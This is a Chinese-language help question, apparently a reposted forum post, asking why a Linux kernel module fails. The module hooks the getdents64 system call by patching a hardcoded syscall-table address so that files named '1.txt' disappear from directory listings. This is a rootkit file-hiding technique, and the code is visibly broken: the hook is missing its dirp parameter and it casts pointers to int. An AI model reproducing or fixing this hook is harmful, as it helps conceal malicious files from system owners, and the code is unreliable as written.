如何解决Linux内核驱动程序挂钩syscall不起作用
我正在关注本文https://exploit.ph/linux-kernel-hacking/2014/07/10/system-call-hooking/index.html,但似乎无法使其正常工作。
我试图添加一些printk
进行调试,但看起来有些奇怪。
这是我正在运行的代码-
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/semaphore.h>
#include <linux/dirent.h>
#include <asm/cacheflush.h>
MODULE_AUTHOR("Tamir");
MODULE_LICENSE("GPL");
void **sys_call_table;
#define FILE_NAME "1.txt"
asmlinkage int (*original_getdents64) (unsigned int fd,struct linux_dirent64 *dirp,unsigned int count);
asmlinkage int sys_getdents64_hook(unsigned int fd,unsigned int count)
{
printk("Inside hook :)");
int rtn;
struct linux_dirent64 *cur = dirp;
int i = 0;
rtn = original_getdents64(fd,dirp,count);
while (i < rtn) {
if (strncmp(cur->d_name,FILE_NAME,strlen(FILE_NAME)) == 0) {
int reclen = cur->d_reclen;
char *next_rec = (char *)cur + reclen;
int len = (int)dirp + rtn - (int)next_rec;
memmove(cur,next_rec,len);
rtn -= reclen;
continue;
}
i += cur->d_reclen;
cur = (struct linux_dirent64*) ((char*)dirp + i);
}
return rtn;
}
int set_page_rw(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr,&level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
return 0;
}
int set_page_ro(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr,&level);
pte->pte = pte->pte &~_PAGE_RW;
return 0;
}
static int __init getdents_hook_init(void)
{
printk("----------------\nInit Module\n");
sys_call_table = (void*) 0xc18af1e0;
original_getdents64 = sys_call_table[__NR_getdents64];
set_page_rw(sys_call_table);
sys_call_table[__NR_getdents64] = sys_getdents64_hook;
printk("After hooked");
return 0;
}
static void __exit getdents_hook_exit(void)
{
printk("Exiting module\n-----------------------\n\n");
sys_call_table[__NR_getdents64] = original_getdents64;
set_page_ro(sys_call_table);
return 0;
}
module_init(getdents_hook_init);
module_exit(getdents_hook_exit);
在使用insmod
进行编译和插入之后,我使用了ls
命令,但是仍然显示了该文件。
我使用dmesg
来查看内核打印结果,而只看到“ Init Module”行,而不是“ After hooked”。
当我删除模块(rmmod)并再次查看内核打印时,我看到“钩后”和“退出模块”。
我不确定我能做什么或如何进一步调试它以了解出了什么问题。
**
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。